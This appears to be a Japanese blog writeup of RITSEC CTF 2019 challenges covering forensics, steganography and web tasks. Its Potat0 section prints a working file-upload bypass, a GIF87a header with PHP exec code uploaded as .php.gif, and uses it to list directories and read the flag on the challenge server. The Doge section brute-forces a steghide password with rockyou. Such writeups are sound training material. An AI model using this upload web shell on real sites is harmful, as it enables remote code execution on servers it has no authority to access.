この週末に開催されていた RITSEC CTF 2019 にチームで参加していました。
- RITSEC CTF 2019
https://ctf.ritsec.club/(サイト閉鎖済み)
解いた問題について Writeup を記載します。
- (Forensics) Long Gone
- (Forensics) Vacation
- (Stego) the_doge
- (Web) Buckets of fun
- (Web) Potat0
- (参考)(Stego) HD Pepe
- (参考)(Forensics) URGGGGG
- 更新履歴
(Forensics) Long Gone
以下のような問題文とともに chromebin
という 200MB 程度のファイルが渡されます。
That data? No it's long gone. It's basically history
ファイルサイズが大きかったので最初はディスクイメージかなにかかなと思って 開こうとするもうまく開けず、Kali Linux 上にコピーしたらアイコンから tar ファイルと判明。
一応 file
コマンドで確認しておきました。
$ file chromebin chromebin: POSIX tar archive (GNU)
ということなので、ファイルを展開します。 中身は Chrome のユーザプロファイル一式のようでした。
ファイルが1800以上もあるようなので、どこかあたりをつけて調べたい。
問題文には「history」と書かれていたので、きっと履歴ファイルにフラグがあるのだろう。
ということで履歴ファイルを探します。
いい感じに見つかったので調べます。
Chrome の履歴ファイルは SQLite 形式だったなーという記憶を頼りに「DB Browser for SQLite」で開いてみます。
とてもいい感じに表示できました。 とりあえずテーブルをひとつひとつ確認してみます。
最初にデータが詰まっていた検索語句のテーブルを眺めていました。 「how to lie to NSA and CIA」「how to join CIA」「how to join NSA」や「I hate CTFS」 といったキーワードが目に付きますが、特にフラグに結びつくものは・・・
・・・!
URL にアクセスしてみます。
$ curl us-central-1.ritsec.club/l/relaxfizzblur RITSEC{SP00KY_BR0WS3R_H1ST0RY}
やったぜ
- フラグ:
RITSEC{SP00KY_BR0WS3R_H1ST0RY}
(Forensics) Vacation
問題文は以下の通り。与えられるファイルは先程の「Long Gone」と同じようでした。
These are my favorite places to visit
ふむふむ。
問題文に visit とあったので訪問した URL にヒントがあるのかなーと History
ファイルを閲覧してみたものの、
特に怪しいものは見つけられず。
履歴はさっきの問題で見たはずという違和感を感じて改めて問題文を読むことに。
今度は favorite とあるのに気づき、なるほどお気に入り、つまりブックマークを調べるのかと理解する。
ブックマークファイルを探します。
いい感じに見つかりました。
中身を見てみます。
ひとつひとつ URL にアクセスしてみるもフラグに結びつくものは見当たらず。
URL そのものがフラグのような形("_" で単語を結んでいるもの)もあったので試すが、通らず。
ここで考えが止まったのでしばらく問題を放置。。。
(数時間後)
改めてブックマークを見てみる。
見てみる。
見てみる。
眺める。
URL 以外にも何か・・・
id...
gui_id...
name...
type...
んー・・・
name...?
お、おった・・・!!
とても怪しい文字列が名前になっているのに気づく。
並べる
RITSEC{CHR0M3_BM_FTW}
やったぜ
- フラグ:
RITSEC{CHR0M3_BM_FTW}
(Stego) the_doge
問題文は以下の通り。そして the_doge.jpg
というファイルが渡される。
Steganography is the practice of concealing messages or information within other nonsecret data and images. The doge holds the information you want, feed the doge a treat to get the hidden message.
jpeg が与えられていて問題文にも The doge holds the information you want, feed the doge a treat to get the hidden message.
と書かれているので
steghide でキーワードを与えるとフラグに近づけそうという感じがする。
一応 exiftool にかけておく。
File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.02 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Image Width : 550 Image Height : 413 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 550x413 Megapixels : 0.227
特に目立つものはなかった。
とりあえず steghide にかけてみる。
$ steghide --extract -sf the_doge.jpg -p doge
英語力が普通の人であればキーワードにすぐに気づくらしかったが、
それに気づけず doge
the_doge
feed
Kabosu
など的外れのキーワードを試して全滅。
心が折れたので自分で考えるのを放棄する。
steghide をブルートフォースしようという考えに至る。
探すと「Steghide Brute Force Tool」というのが見つかった。
- Va5c0/Steghide-Brute-Force-Tool: Execute a brute force attack with Steghide to file with hide information and password established
https://github.com/Va5c0/Steghide-Brute-Force-Tool
素晴らしい。
ということで採用する。
使い方を読むとパスワードリストが必要とのこと。
Kali Linux に備え付けのがあった気がするので調べて準備しておく。
$ gzip -d /usr/share/wordlists/rockyou.txt.gz
さっそく「Steghide Brute Force Tool」を走らせる。
python ./Steghide-Brute-Force-Tool/steg_brute.py -f the_doge.jpg -b -d /usr/share/wordlists/rockyou.txt
しばらくすると asdfghjkl;'
というワードがいかにも 見つかったぜ! という顔をして出てくる。
が、通らず。
何の情報も得られませんでした!
と steghide に言われる。
よくよく出力結果を見てみると、どうやらエラーが発生している様子。
おそらくシングルクォーテーションが悪さをしているのだろうと考える。
少しだけスクリプトを修正してみるが、試行錯誤の結果、シングルクォーテーションを入れ込むのは難しそうという結論に至る。。。
考え方を切り替える。
きっとそんな複雑なワードを steghide のキーワードにしていないだろう。
そうに違いない。
ということですべて捨て去ることに決める。
以下のような処理を steg_brute.py
に追加する。
password = password.replace("'", "")
シングルクォーテーションなんてなかった。
ということで処理を再開する。
python ./Steghide-Brute-Force-Tool/steg_brute.py -f the_doge.jpg -b -d /usr/share/wordlists/rockyou.txt
しばらく待つ。
進捗率は 0% のまま進まないが、とりあえずさっきエラーになったところは通り過ぎた様子。
待つ。
待ったが終わらない。。。
とりあえず放置しておく。
しばらくして、もう諦めようかなと見直すと結果が出力されていた。
wrote extracted data to "the_doge_flag.txt". [+] Information obtained with password: treat RITSEC{hAppY_l1L_doG3}
やったぜ
- フラグ:
RITSEC{hAppY_l1L_doG3}
(Web) Buckets of fun
問題文は以下の URL が渡される。
http://list-s3.scriptingis.life.ctf.s3-website-us-east-1.amazonaws.com
とりあえずアクセスしてみる。
パスワードを入力させるような画面が表示されるが、 ソースを見ると javascript で表示を返すだけで意味のあることはできなさそう。
このページ以外に何かすることがありそうなのかなと考える。
タイトルを見返す。
「Buckets」とある。
Buckets と与えられた URL から「Amazon S3 バケット」という単語を連想する。
肝心なところをメモを取っておらず思い出せないが、さらっと検索してファイル一覧を取得できる以下の URL に行き着く。
https://s3.amazonaws.com/bucketsoffun-ctf/
あやしいファイル youfoundme-asd897kjm.txt
がホストされているようなのでアクセスしてみる。
https://s3.amazonaws.com/bucketsoffun-ctf/youfoundme-asd897kjm.txt
RITSEC{LIST_HIDDEN_FILES}
やったぜ
- フラグ:
RITSEC{LIST_HIDDEN_FILES}
(Web) Potat0
問題文は以下の通り。
http://ctfchallenges.ritsec.club:8003/ Flag format is RS_CTF{}
とりあえず渡された URL にアクセスしてみる。
なんにもなかった。
フェイスブックっぽいアイコンは RITSEC の Twitter アカウントに、 インスタグラムっぽいアイコンは RITSEC の Instagram アカウントに、 それぞれリンクされていた。
それぞれリンク先のページを見てみるが、フラグっぽいものは見つけられず。
ソースコードもも特に不審なところは気づけず。。。
しばらく放置。
(翌日)
チームメンバーから index.html
にアクセスするとデフォルトのサンプルページが表示されると教えてもらい、見てみる。
ふむふむ。
ということは他にもページがありそう、という気がしてくる。
改めてソースコードを見てみる。
そういえばコメントがあるなと思い至る。
upload and photos not yet linked
というフレーズを Web 検索してみるがヒットせず。
ということはなにか自動で出力されるものではなく、運営側が用意した文字列っぽいなと思う。
ぴこーん
http://ctfchallenges.ritsec.club:8003/upload/
にアクセスしてみる。
ぴこーんときただけに反動でショックを受ける。
めげずにもう一つを確かめる。
http://ctfchallenges.ritsec.club:8003/photos/
にアクセスしてみる。
ショックを受ける。
orz...
立ち直る。
http://ctfchallenges.ritsec.club:8003/upload.php
にアクセスしてみる。
やったでおい
http://ctfchallenges.ritsec.club:8003/photos.php
にアクセスしてみる。
いい感じに見つかる。
過去の CTF などを思い出しつつ、現状のアップロード機能や表示機能を確認する。
アップロードしてある画像ファイルを Web ブラウザで表示すると文字化けの画面が表示される。
どうやら画像ファイルとしては破損しているもののよう。
よく見るとコードの断片らしき記述がまざっているものが見つかる。
ふむふむ。
どうやらファイルをアップロードしてコードを実行する感じらしいと分かる。
いくつか試したり他の人がアップロードしているらしいものを見るに、 ファイルの冒頭にあるマジックナンバーと拡張子でファイル種別を識別して画像だけしかアップロードできないようになっているようだと分かる。
ということで ASCII 文字で簡単に作れる gif が便利そうなので、これを中心に考える。
適当な php サンプルを Web から拾ってきて少し書き換えたものでコマンド実行を試みる。
GIF87a <?php var_dump( exec('ls', $out, $ret) ); print_r( $out ); var_dump( $ret ); ?>
これを .php.gif
といったファイル名でアップロードするとうまく画像としてアップロードできる。
先程の photos.php から画像の URL にアクセスすると結果が確認できる。
GIF87a string(4) "test" Array ( [0] => 10_0_0_37.gif [1] => 10_0_0_37.php.gif [2] => test ) int(0)
いい感じに ls
ができている様子。
コマンド部分を書き換えつつ、順次、フラグファイルを探していく。
ls /
GIF87a string(3) "var" Array ( [0] => bin [1] => boot [2] => dev [3] => etc [4] => home [5] => lib [6] => lib64 [7] => media [8] => mnt [9] => opt [10] => proc [11] => root [12] => run [13] => sbin [14] => srv [15] => sys [16] => tmp [17] => usr [18] => var ) int(0)
ls /home
GIF87a string(8) "flag.txt" Array ( [0] => flag.txt ) int(0)
フラグっぽいファイルが見つかる
cat /home/flag.txt
GIF87a string(32) "RS_CTF{FILE_UPLOAD_ISN'T_SECURE}" Array ( [0] => RS_CTF{FILE_UPLOAD_ISN'T_SECURE} ) int(0)
やったぜ
- フラグ:
RS_CTF{FILE_UPLOAD_ISN'T_SECURE}
喜びつつ、他の人に見られるのは残念なのですぐにコマンド実行しない内容の同名ファイルをアップロードして上書きしておく。
(参考)(Stego) HD Pepe
何時間か色々と試すも解けず。
とりあえずと exiftool の結果をチームメンバと共有して放置。。。
File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 4500 Image Height : 4334 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Warning : [minor] Text chunk(s) found after PNG IDAT (may be ignored by some readers) Exif Byte Order : Big-endian (Motorola, MM) Image Description : gh:cyberme69420/hdpepe Resolution Unit : inches Artist : degenerat3 Y Cb Cr Positioning : Centered Exif Version : 0231 Components Configuration : Y, Cb, Cr, - User Comment : version control hehe Flashpix Version : 0100 GPS Latitude Ref : North GPS Longitude Ref : East Image Size : 4500x4334 Megapixels : 19.5 GPS Latitude : 39 deg 1' 10.11" N GPS Longitude : 125 deg 45' 12.20" E GPS Position : 39 deg 1' 10.11" N, 125 deg 45' 12.20" E
あるメンバが「gh:cyberme69420/hdpepe」が github の URL を意味することに気づき、
- cyberme69420/hdpepe: ct efff
https://github.com/cyberme69420/hdpepe
最終的に別のメンバがそれをもとにフラグを見出す。
- フラグ:
RITSEC{M3M3S_CAN_B3_M4LICIOUS}
(参考)(Forensics) URGGGGG
問題文は以下の通り。キャプチャしたパケットが渡される。
One of our operatives sent us this packet capture but we aren't quite sure what to make of it, what can you find?
パケットを見る。
USB の通信を記録したもののように見える。
ということはキーロガーかなと思い至る。
少し Web 検索すると3バイト目に押下したキーが記録されるという記述が見つかる。
- NCC Onsen-CTF 2018 Write-up - Qiita
https://qiita.com/GenkofCam/items/3b6c2c468d6f6527d626#i-input-the-flag-1
ついでにキーマッピングからフラグの先頭文字が出現すれば以下の値だろうということが分かる。
0x15 0x0c 0x17 0x16 0x08 0x06
とりあえず眺めてみてみる。
見つかる。
ここから RITSEC の順につながっている。
ついでに先頭の部分が SHIFT や CTRL に対応しているようだと分かる。
あとはつなげるだけで文字になるかなと思ったが、途中で入力済みの文字をコピペしてフラグ文字列を作っているようで少し推測をしつつフラグ文字を完成させる。
- RITSEC{wH0_s@id_netw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3}
赤字の部分が推測した箇所。
間違っているらしくフラグ通らず。
leet 文字の変換と見比べながらいくつか試すが通らず。。。
RITSEC{wH0_s@;d_netw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3} RITSEC{wH0_s@;d_n3tw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3} RITSEC{wH0_s@id_nftw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3}
ここまでやったものをチームメンバに共有。
メンバが見事に特定してくれてフラグゲット。
フラグ:RITSEC{wH0_s@id_n3tw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3}
更新履歴
- 2019/11/18 新規作成
- 2019/11/21 Potat0 に関して考えに至る過程を一部追記。
- 2020/08/31 CTF サイトが閉鎖されていたのを反映。